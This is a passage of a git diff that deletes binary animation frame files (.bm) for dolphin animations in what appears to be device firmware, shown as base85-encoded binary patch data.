z8;1N3NEBj7ZyVjla36031}Q=hl!7o16kwak05GPokH{V*(MOm(;9&HmRcJLXu<0+ zfO!A%0DH`4P+J58!~dWI&Ja&JOcOv4EC4*>6cc$;AiM||J){^f{(kW=g5W>C5BvsF ze>fu$!Q+7kj2s?#1R>xj!1INN)8kjF)o-#e{Ae|LpaD!^7(a*q22VbN(Esy*c*Hmq z6Z#X50X%>}{xkWAJl2wTtpzkb3W@aX~ke+>Xg diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_23.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_23.bm deleted file mode 100644 index 8dc4812d42fe771bda8afc65b33c394ffcbe3d23..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 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 C9|6+< diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_28.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_28.bm deleted file mode 100644 index 23e28db9307c8898c7ef411199e12b92491487c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 640 zcmV-`0)PDh0DJ-fcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`>fJfI=z$6f$!9hc(K)_I?FenAW5)VEm08&4}Aw%F10_nkM70`Idohc9x zr^00hfJk5;5B#Ja(g4Wd0Amn<1KuUz84rR6A6@~xV4;zOF@|&)89+Q>vjQN&dE6TT zxNpGpfkq^N@x*Z4#2-%t1}Q>-VR@Jzh&)k(Zy*4|n!^Qz00w|f6nTTr2L+!>V-yNS zR)bY+7qeBB^ z01!~X;REEALYzl{2aFsZzc|P|=pTRlC(tiQ3lw04F_?V+@d-ebW+3%tj5EjokORko zdtegGV3G(F55xbUN+^Kyhf9Iw%zy*O0VwxoCt@LpSYR+u1f(9jjfi|`0>Ok}Bc2Zj z{sSqZPBFpps90f;m;^sO4;VhCbF<%}$3YUNQ*A06tQm z_X7VQumeU6;TeVl;s3$PKfytWeiVfPoLDds4h05LYzK=CXOAKH&*mxexV+2&G5zKC z6X4|g!6gI_q&t0m{m1_B@JR#K4S#|D|NpRgi`NIg-@&{A5dahnzG&gE>7cL=>>NHq aQ3sa)|1a1B-WCKc=l|cog5W>HqzCXOv=cS} diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_29.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_29.bm deleted file mode 100644 index db54d6e42cb72b5490f105d96a4965ab024afc10..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 639 zcmV-_0)YJi0DA%ecmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`;12?z-00SHZ93D^*`roJk zfuKW2;{*PO&w>A;d*E;h1Sl>rI4E@J7zz}o1pv50LFd503P<=PD0~7ST_AYSC?N5X zI#M7XC>fA@0I*>g2BbAfp9Di#=ICIJu61I9l9{pRN=anMLUUy1+o0uLWN2m6P<&<{g!7mR{2fCr2p z{rmw8g1`+JGel+>4}d&nALxJjA^1`h2614(L^uHRwlLOs;vbCs9x=rDyvzVG{pI!( z;NknhB?J$oJAHlq$Nq5eNdwjme}Vr0|FC(B*9X7f!Mp(x02BUQg5)2>1_cN`Ieh`iv$8h zK_O6p1{Bs2`Ai@Z7ze}uDF>ts9$yRufF8l(Czs-Z;DLkJ3xI-sdv^%M0s%S&jG-8G z2oXG?hT*>h(MB-{2>gNKA8ZB@Kq~VGiZD&-1D`@c=uH%PfCu{lg#STBK!iI?22C-9 z0E9kPKp{zi=>`uFd}2VdqyUB<4;UBt9(bSpe({hm3`6@5fi{l;L{bhCK>-JdC}3ox zpinu|cohWZIq-PF!RH{LKxLC05Ikx>fBYxVFDQir`5~mhppRksf`yE9iU&SU4=e;r z$N!K6$KVekkj!REk%9P4LJt&>!YC8@dfck_;FB zKX{k}#~tARz-=J%pbCTlK=Jzn#t*4t3?l%9JOugyh6ju+9&`_lUaM8U$ie3al;B?@ zpw;St1u+MY!~cVnP>W;GdLRC94;Y66gD9RrI0NGV2q0kJ8T`dwZ!-W4fBANV_&GlC zNgI*@4*y-hasRwL50)+hm0Cxfacmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`>fJfI=z$6f$!9hc(K)_I?FenAW5)VEG08&4}Aw%F10_nkMR2d8cMCnL? zeI%3UlmH?>5B#Ja(g*|#00S6=03Lh-_`z~~8zlq50}rggXfRqtA`-?K(4b`i@q)%A zfboP%p$6f<1JVT)p##Pl9E=Cs!2yLagg!CA_>_d+U;zh=3_dV`_>)B*Zc~DX#sD80 zMOK4VY#tW@1P7%M9?)6@3JQrBAQWDUfH4dOK5w!It`R^YA%H+a;s9tI`V$4ff5EN* zAM6AkAlU#2++iQn(F5uXN^inA!Q}!E5Paa%0D8>7!1TaCcm(u^(!YT8qeBB^01!~( zmBIiyR4K$~q5s9Q-1l~Dob4wnPVnE(f$yD>Wv3_`;Jf_Nn$@_@>H+l`2PXad26U?ZLn2mhZa zqE0cv@u*l~hk=LZf#W~aPIi0rIOrrFFU0@(fd`B~QGMax=m(*=3&uehzyrn)DF1LT z@(TboV9pVkU_Joz3JgQ=q$mvH!GMTx0pn~3i%n;bA^6Y1;#?bx%)kR5-d|xp4j;S{ zP(b=ax7Xj?f9DSbkUe16_#f~8`v;i4aC`my8^93|0YJ;UQg5)2>1_cN`Ieh`>fJfI=z$6f$!9hc(K)_I?FenAW5)VEG08&4}Aw%F10_nkM6cBjGohc9x zq=I}Y84LsA|CEE?0Rq4P#vuR)o&abtP)NZj9taqHY!d)^!WhFk6bzsqFkFRz9ypE& zJa8A_dMAfM4^aB}ATUZ41`CYf#sT7D6L|mz4i6|m0B8i!N1H%kP)HOO87dErBCA2F zwhI9S!UM(;6c3FM9-mrfqzd#4}1X}U__<>C_ID2A3wr)f#)*+1J(@r5CMN-^snGOFwourJi$YX zgbosw3Kfw&LE{&MgVX03c^w1q|BU)Y=>cMl2--6bpZ-AY7#U#NsSNS|=n}2u9B@zu zsKF!19x!lt z!T-_=05o9D5tv{;0P_Ds|IrV^kf1Y*1_B|#2c5B|v&RtpXW;RUC&lJq0gvx5u%8DH z-U%omeIeWH@9sbIhk{5RuxtDe_y7Ha%wD)X{{9W%2#5fnW%EZ3e@z8|e_f>j5{Nvv X|M`Bv9`LXsZ$JM1{1*ZK9Uwn|(F6bw diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_32.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_32.bm deleted file mode 100644 index 0757af4f173a37f9d1900fb94e3bf87ad7b11f27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 644 zcmV-~0(<=d0DuCBK%y{+O$s0n@O?lb5P*I_LE}Id_~qw@ZT=0OS#loUTV2uM8m7zhYGq6O1}(5NyQ#tJ7Kgwes`A4w$oCC9$| zK7akpJRY(L1PcHI6X41~V+p`R!Q+$Q*(e?e8gN19V3-5OkV+OX&V>Ug2aFdXUs$mC!?-Utj5g#izYa6Tm=2aI62P;hxeAp!9whyY7N0Kh`kb@I3`1zyc3~0sV*4 zzku|kLjz?HfP#k>t`Gsrp-v)%U_s*-goD%P83&gl!}tHjeIoRLu}T3rk9_~~2~jL& zAoej2kN-dij{^1*7z0#6<6wYzMMEm01I`^T2bO>yp6tZzL@^5t1RgvH7(8GypLXM7 z9~uOL1b7?=_rd??$|#eJaAay07-8UW7!Y{R^%I?*{{jEdNIqYQ_&nkIi|-EqKwk~O zUNQiA!Q~(B1^z)`28joEc$Ws^^DqF% z@0YkwgNN?~k|;n24!>UiasQk=5(?MV# e*f@NIq7NMyetS?&;P%F1;BrYNDts#BoN#H diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_33.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_33.bm deleted file mode 100644 index b1411659cf3a8d9db4cf3aac513c3a733dd2e58a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 578 zcmV-I0=@kK06qeUK%y{+O$s0n@PC8+A8-JFgWKW%01&>T1N;02hCUCyW~){H7v8uY zFyQ=>k`6Ddj2?iG%!~{l&>!Hr2k`-cLILd%FQ7cl>JLl=93D^*{Lmqz^8TadK?)6& z6hAizNIdu$2nc06mby1Q*8u-XQXX2hI{7 zC@jJ-4;)7X9-;DqMkIjt7pH;)6rlsh8NrML&H~RU1SOWiqq+lT-fHTk@m_-1=a3A;i6WRwpguz&350C5y6aD{y z1RoFjBip=V0-`P$Uo|!DGB1{(hs!I2Vrs zp<#v|3+xXW{G<1qoZvtD2?xvZKY(F@;}4X7F!$O90t0XtiHJev2M3HF{UERdMhym- z1IOSGFZ4hC5d0|$12_kaLx2xEV@$vUJU5TVeh(Ppd|qY%82|F^3Gi_J;F3iU0HNRO zx9&gldWZl)>juBUzkmPOJjLsS-|yhw0EmDJ246Y<^1r5nz(20ifC)q%TmSsOU=Mg$ Q5VxQIe*O!9{|=BJz)g$(>Hq)$ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_34.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_34.bm deleted file mode 100644 index 0f4dd9c27499c0759c8c2fc1cd845ac5f932a649..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 476 zcmV<20VDna0N4SDK%y{+O$s0n@PC8+ACM4#gV*8z01&>T1N;02hCUCyW~){H7v8uY zFyQ=>k`7<2j2?h*%!~{lL-NSLe}d#6#0CWj2dn_Tpz}A@0uB!-2z_7x@}NUU<^2!L zf)pDlDSmDcka_Vi5DAprM+ z%p(Bt=WuKS_kl(vfbqm|;9&OfKw^|A1{axu_=DJ(FsulCVE_RK)D8xAO zF5&sY;2?(bj|1U&FedoNAmI1FIz|Hp{BRxa4;&(ZV6glAfF3TP7o-k-2^WX}LGk^7 z!hgT;0E6NJ%McKU%)Y?Eg9nH|5b$`+zrgelrUD`Thtj`*`vndz5I;gV!Ug4@2aH}4 z4@d|+XaMo3{r~ZwNWNeaAD{j~Di5?IJ~#-MkN-dizH-f~45S}e z?+5>%C>Ph*9y9QIlf*tV2nHA)Fz|mt#qJMJfIp%f0DKd~9x!i={2x&d<=PYA;rrS1 z{=0tT|2TMlZ}4y5|Mm}@hW~#C@B~C(9}51O3jqGX!{s=^MB|W}Kf+(I2ek|Q05}4OK%y{+O$s0n@PC8+A8-JFgWKW%01&>T1N;02hCUCyW~){H7v8uY zFyQ=>k`6Ddj2?iG%!~{l&>!Hr2k`-cLILd%FQ7cl>JLl=93D^*{Lmqz^8TadK?)6& z6hAizNG!0wd<0}Z!9fRs85K(+! zA>r{$3?M#mkoiGu69@+v-|_GR&^}Nsg@8UVj66JE-TEXgbFu4EvJc;W-`9NS|@c;-uAYbSg_x=D7d0iKkPB2k8}AW-7r1M=hFeV#wJ<{tphgT^lj2b6%YG6{|f1pui1|M8zl{K4f( zZHxj#^Z&>tLGq*n*8vjo|L6esn9P+U1MvUg0P}0z1wsHIc>RInKL?%xD0m6<0}Kxsczr%KdaYLbBL|!u9(oO4 zr~p$Cc>DqD(0UtGLE{kM1JHb60iGMj<39(Z%)kR5{#~Iy4j;S{M&y7)zt?Zvf9CZN z0E5;Ie}jJi|FC(B*9X7f!Mp(x02B}K1S$XWzotP+K%y{+O$s0n@O?lb5P*I_LE}Id_~qw@ZT=0OS#loUTV2uM9*0QQI%PD=o|KqnX|oN^OK2Z((>5I6@O`|SDu z_b~8!VSnH;z(@vT0F;2le!mI*1Hl7M2t4o*^7=7`bOaedJYcp7fIOrS`UV304@ee5 z!2t5%;rsymcpjsn50Cj`An}0%#xOW2B?llpq0vgUGfa@uXE~HCDl3AW%pb zl)iL8dqFUeC@c^hGy(Ad5da|Z@F)g=8z2HmiX#PwfBbj=b0>!h1oF?pj7L9|1_rM) zkek$wKj;_q6i^62Oq?Q@B*2oA$O9=b{DFf44-kA}K=Pyjh8_(Ai;n0_lbZ! zao!L722y`9P=E*?KVW#l!RLTN9s+#;!vn?^A5V>5t5v?p!R8-L2Cq~ADTq9NAN(0S z`VT|@&H>{P;80KKPB;Yc-ai@q#2#-m01SWmc7*sjKJZB!k^v6?UB7YvygU*>^@CsF z-@pIt9%A*u@AvR;07O6q1N;FBfBdiMltcZ4hsa7G^56gE`v7~wz=gd3`}go%2l#Y= E{$-vCWdHyG diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_37.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_37.bm deleted file mode 100644 index cfbe16d18672d0aac5fbdeb7a1bdef4cbca25c8e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 570 zcmV-A0>%9S05$>ucmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`>fJfI=z$6f$!9hc(K)_I?FenAW5)XgikfHDhfpo#?B6OrcKN1)R!~ZD< z&H_LS7yv$~9taqHcn0wYqylsV89+Q>vjQN4(*b@5qzW-458r|V6rlsz7$))n3@NN2 z^d^ct!RG@9r6Q|As>jDdJ! zAJ}{g_zx@v5&NFX5b1q=+7bO!*)AXF6~=fUF#2b_Q&QydUHYCnJcC(th_fIO)% zC?o0;@HF}@{OhM!D z|KQ2z(0U*Ka1R)V0)l@+alj{r@%Yc?AoF>c0Av5lv?syI_ku{=kO+7B?fZ}Y;oy=7 ztQ!9Y{r~@9^B1lUf4_rx0wMq?AK(a6|K)#7q95!WK0;9kmjC}R*aO}c1TE+P-@k(3 IKf|O4@Q(KH5C8xG diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_38.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_38.bm deleted file mode 100644 index 14c557d067635e889b2a2430ac5cd76698a538f4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 601 zcmV-f0;c@|09672cmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmACUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)E;sOP!OP@`M5$rh2@ch;vii(EIYyD2e^FTz6R0*<_K31dEf!<~!AsP?L4yD1?-K|v1N-3rz-1@%f&mHu4;%ArApQ2b?TEpBlYZt9_A&<3X#{019IO!Tdk?GI{hKhyR=d#v#C11d+KQ5bO2t_aFPi!6Xk@HU16z|Ng<|FI*n~e+KXbL;z4f nz!0bZ%Kn-Q0RF+lUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)E;sOP!OP@`M5$rh1ITg`r!767f!oZy4^wUA3Ck$H<<_LHmOYqo&X-i_PzKo5D0$_rqCcuhhNI6*w=FiikFumJOjP)+4Xg76?<_K;w|`TNAe3xNLk zKkykz{NR8>fCI+@4;VN+@CZY|Pl4wP52wbjRjS`)VffH$^*{ocz%YLg{tTXd2ciGx z0P%=$C@1tM90GX&f&6Fl5P7`J05SXJ?i1kT`@tk`NCZ0ld;Q1$@bF0k)(wAye*gcl zd5hNvzu&>U0TBQc5AXyj|MI`4g1|qpaQO*D9$WwXzhDn|SP-|L|9<_1KjG2?_@D9& A-v9sr diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_4.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_4.bm deleted file mode 100644 index 42dd423a8b6e874642ae9a85a3d3290011748dfb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 621 zcmV-z0+Rg!0BHgMcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmACUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)=7W?jDi#hC@6hz)B!-;As~YK_dA`~2Lt~?_rTy00_oL21UVc93R40Hhhl2_6M8{9$x@>qXgbhQ-YJr z@jxbuJir5mz(GE}yM$taNUG3kuY-cnAVl(pP$+=)d5l5=KOlIIhyZvDB7jxq`yc|q z=g^RO;0f>jfWm*EqJTmHWWf*siN+8rOCSuS!1RL$h(0kOSyBP%0{;Wg6aSCiG7Rw_ zj6MbY2bKbeq#PuI0(=lqz{y8IU<`rJq=pFq5#0P>{3 zpp%IA%oHzUqyyGr0P+9i0QZ>8ptcAHhyOqaoFJZbm?nT8SO9s%C?@ixL3j`_dq^-} z{Qcr#1;BrNANUNU{%}SigU1377&tue2t&Y6f#(Ykr^c^Us^4T`_|R(gKmwS+FnUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)E;sOP!OP@`M5$rh4t=tJD~Q67fz}GAbW?*8abTEKRdAqh&=EB_9wOafOrsi z@D1V*E&v37^e=o29xz#iU>;Hcc+fBuDNG0+Fet$oe!Kghf&u(W6g~mqfW;_5^88pJ z5+Vr-ga9z6u#d`N0Fb~wANfco9_9CJw%1`G60u%rq zI1qTj!RLTN9s+z1I9Po?HF~X9`y&s=gIB5m6vhFA_Ay5C6{WKN<{ey?dN+9yz|K>>XSkRQOJ>;)MB diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_5.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_5.bm deleted file mode 100644 index 4fdfdf8ab52cf3b1b78a08c99e264803ea0cd81e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 636 zcmV-?0)zbl0C)lbcmu#50PqKZE8+hD5I&;;%lrn0J_k5>F(B{_W~){H7n~p-aEK%W zTn`vNR9!DssJpch#r?h zF@r}lnIMR`zw`N6Jv*@oi~|5$7-RyWMhBTZ|M~NXuEwE6fN&6E4=w};Ap*cG$3s|v zOd|mDkZ=R#fI$z6M%Wo4ym$9M0Q_K72t@;g&KRW#K3|IfJvCS+Fv74S^Oy(L1rP_6 z3?5$tc>~3&G6(>8iR4-oc;FhvKY(Fy5Kpge;TWn#QsqIar3MN#5_v-b?|@jN zpj?X&-~S2p3(6o5DohFqIFEe6Lntj6J!TLOAO1iOd5p>nV1Rgk^ZOJcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmACUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)=78;41yF0C@6hz*vL!*-~tc;{d=9x=oqL`Kw!iRr&RzDJo1Z?hzHCXIh@E8 zTEk}?2t9kT2#KUjqskTtJqhVx2aYHnd;=hZ%YX?V{QfBm0*n@67zdPq9#9$u@(2YO z6k#ksUH#9&0E9qk8G%svATdf1e7_a|c+hIU1;N6a!apg1eBcludO*SD@CTIw06!P0 z!Aa%#2#ZjM;s6{j0txl)+zf-Dm1-qObAr$yMDm6M-vD?a`2)lN*bE|oU+e%_9QqOu zLV3f$<^6!df1si_h%BN2GD(T#L+4}xl$ainVDSgWBnu@7gU$v12c9SYAG~B4;y)OC z3-}K#1rbO%NdyG=AfbVhj)1)x1PX%!gkV;r4> z-!M?h3q}uFgagO_kOSUhGJ@D39v}Sx9&mzr(qNhZd0+wO5TKjNkpI@An`3!@(pEST+6) z`~UvI<}X|x|9=MX1VjK(Kfn;D|H}TF3jqGX!{j9pd2j#n{eV5;U_#!1{rmP1|A$Bq E;MT$mhX4Qo diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_7.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_7.bm deleted file mode 100644 index 248dabbc663c5cd619d7e0e465205755a01ae162..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 622 zcmV-!0+Iaz0BQmNcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`rp2Z%l~AXyYf0S^a^36dc4#Q)>>jDdJ!AJ}{g_zx@v5lA>m1Oy%+p@EW) zfNdEB3W9(f_&i|X^N<6|V}b{bNALfH`UT|>2bCrSkQoom6f%O*gVzBP@&Du!jsy%I zlNpkvV16I{0#P6nj3AzLkT}7Cb#_3@|)lVDq4SYV}&J_C^md_`s+V4F<1N04az(ejofC zp^RMzq5tOq@rZCJK8LXni~uvkc>HJc6?weO05SjN+7sa9`@tk`NCZ3mcKyfx@bF0k z)(wAye*gcld5hNvzu&>U0TBQc5AXyj|MI`4Q4jVGA0a4%%YXlu>;dl!0v7ZC@87|2 IAK}si_+6a|p8x;= diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_8.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_8.bm deleted file mode 100644 index 5a46b96dcf6f9e7e51649e4782cea238a40c645d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 644 zcmV-~0(<=d0DuAjcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`ra1{hTm92nhEQ5M z1^^y-2$zrlAe2X-9sqd%WOEskq+os@{Q^-TOpGFdIF>-EBJqO*#{sBhj3OaHHa+fAjZ=fIM;D5Bvtw4=Mw!-~jRa1I7<2VhjragggZL0fq;REFN?Zjb5u& zzR1DmA1D+DL95jO3Sti*hyMnT93%sv^gsOI9x)CD1RghofRl~^JU5TVe=%2^%)kR5 z{#~Iy4o|!iM&y7)zt?ZvfA0?jkUe16_&4wW`v;i4aC`my8^93|0YLu%LZAOD`ehLR eVBzu-h&;Fd`F_A2@US6oKmPsv7XkhqAU}W~iUJ1! diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_9.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_9.bm deleted file mode 100644 index 4fe07c9b1da31a7544173038bae6bc91761f90aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 647 zcmV;20(kua0D}Smcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`) zP7hLhU$L5yd2kKl4==zxs8K-R#2~W>z&yVI^vXkl;{uEkhwJ>g<^jY0|JlO>;DE&_ zLGq9T#{jh+QSjkSVIQS{9yp+Sz`^Md|Igx(x2i!!E0C>V6 zG>pOMQH4N(8`2R$s{9B-RuMrD&^}NI5InGo0au_rXb=JUz~|7AdVD|N0f&Lh`vHXi zK|~)ASwsM2LlH=a&d38PFg+l_;tz~S7DW+&L&4($WQaVmKluIQAYK@U_8$WN1IqzK zQVtS90SAaEU}U49P%qMW6$Jn}@OZ(&=OCbdBy$`PJZe9G{3p;aD1`zCETq7a10nf> zhEQ5M2f{)RECfr(|B!kN#19;NzGE^}j1R;Aph^nG2%t|SuqsHrV8HRfN+47T1VVyu zDnNWe=>#r}g9ZQ3-X;L?$9O;R8Av>+4zqv*$LtRnJf;y4z+e!EfS*7x!10BH&Vli( z)oQod7(Bz`T^I&~SE>LM#2!Bn{ti(f9uGn2fBC>XVjKz#qk#i}4~zga!+88>^A&l# z%m6X}<=PYA{dWDw{_yZg1J(_HgMR=2uz8Eu2fyFJya5pa6c6wODgW}n hrcn>}4j&;XgUf&am+S%W3j!AN|L@rBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fOpudH`hRdR4*Wh)9!NbZ zIh_adpMUy@#sNqNo&#Y~)W$gb{ZIfw<%qwoMxiOILU335r~rTTb_l@W@(qL~OfVgI zeCQ0(z(yk#h%A5}HsJXK%7K8eLA8=uh6f3v53GX$#DLYLaheS-${$vcoX1}goXBPx zfcn5D6RZVhBl(EHZ3Xi-3W>5=-f&+BIKrB^N0FX!kSqp_gX>^~C7P% z5DX>*Z>qx=#&i!H0)Su~h%)?Z6x76{hvh|tRbb%t t!9;K;@{=FN1`k*l`~Wxltd|IW5PF(K20Q@x(4WHt2Oa_t4=MnBbU+(OFu?!- diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_1.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_1.bm deleted file mode 100644 index 3c9623d4c79a19e74bfe403f8819221e10322d62..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 764 zcmVrBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fOpudH`hRdR4*Wh)9!NbZ zIhhCZpMUy@#sNqNo&#Y~l*Tyw{ZIfw<%qwoMxiOILNHhQr~rTTb_l@W@(qM0fI1y` ze8A)2z(yk#h$uX*!SV-{0|8)zYb3Y~1`|XdSq1}%0jo&xGzwjmKCK}+j=m#7kjym! z^?*z#SPINX!x4bm3+8MX2Lcb^*g$j`sD{KoTB}mbpce}S2VsPOSgNW4AdmpFoCpp= zlK{|ap->H1s2+Iy1O_n)fLJQO(D?O1#el=WAajU_e4xSg_)+H&Ys7>;P*?zcKhxSI zGx!D&`XEGHG4|NPF3j?jV2LDx(;Sa(OSRfd<0r8I}kAEZeiLFwq0vN0iUOd2f&LEKuLdZY`8i5i< 